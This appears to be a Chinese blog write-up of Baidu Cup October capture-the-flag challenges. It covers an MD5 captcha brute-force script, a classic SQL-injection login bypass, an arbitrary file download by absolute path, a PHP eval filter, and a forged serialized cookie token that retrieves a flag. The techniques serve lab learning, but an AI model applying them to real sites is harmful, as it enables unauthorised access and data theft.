百度杯十月场1

Author Avatar
Geroge Lee 10月 20, 2016
  • 在其它设备中阅读本文章

GetFlag

1、

首先是要登陆,但是登陆要验证码,算法已经给出了,写个脚本

1
2
3
4
5
6
7
import md5
for x in range(1,10000000):
y = str(x)
z = md5.new(y).hexdigest()
#print z
if z[0:6] == 'XXXXXX':
print x

2、

测试用户名,加引号报错。利用经典万能密码绕过

3、

三个文件都没有什么用,但是给了新的提示

./file/download.php?f=hello.txt

尝试../遍历,无奈被过滤了,那就尝试绝对路径,猜测绝对路径

/var/www/html/Challenges/flag

exp:download.php?f=/var/www/html/Challenges/flag.php

4、源码放上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$f = $_POST['flag'];
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try
{
eval("\$spaceone = $f");
}
catch (Exception $e)
{
return false;
}
if ($spaceone === 'flag'){
echo file_get_contents("helloctf.php");
}
?>

5、

helloctf.php做了权限,不能下载,只能按照源码的步骤一步步地来。

POST的flag赋值给$spaceone,然后和字符串’flag’比较。(这里需要”;”)

flag在源码里面

签到

公众号回复“百度杯么么哒”

我要变成一只程序猿

倒序输出字符串

那些年我追过的贝斯

base64

Login

1、

源代码提示,test1/test1

2、

在登录时,发生302,在跳转结束发现响应包里多了一个show字段,在请求头中加入show为1,返回member.php的源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);
}
}
if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
?>

3、

用PHP写一段反向编码

1
2
3
4
5
6
7
<?php
$request = array_merge($_GET,$_POST,$_COOKIE);
$arr = array('user' => 'ichunqiu');
$a = base64_encode(gzcompress(serialize($arr)));
$login = unserialize(gzuncompress(base64_decode($a)));
echo $a;
?>

4、

把输出的$a值放到cookie中的token值上。
因为session中登陆时添加了token参数,
所以在session前面的get,
post数组会被覆盖所以只能用cookie,最后getflag。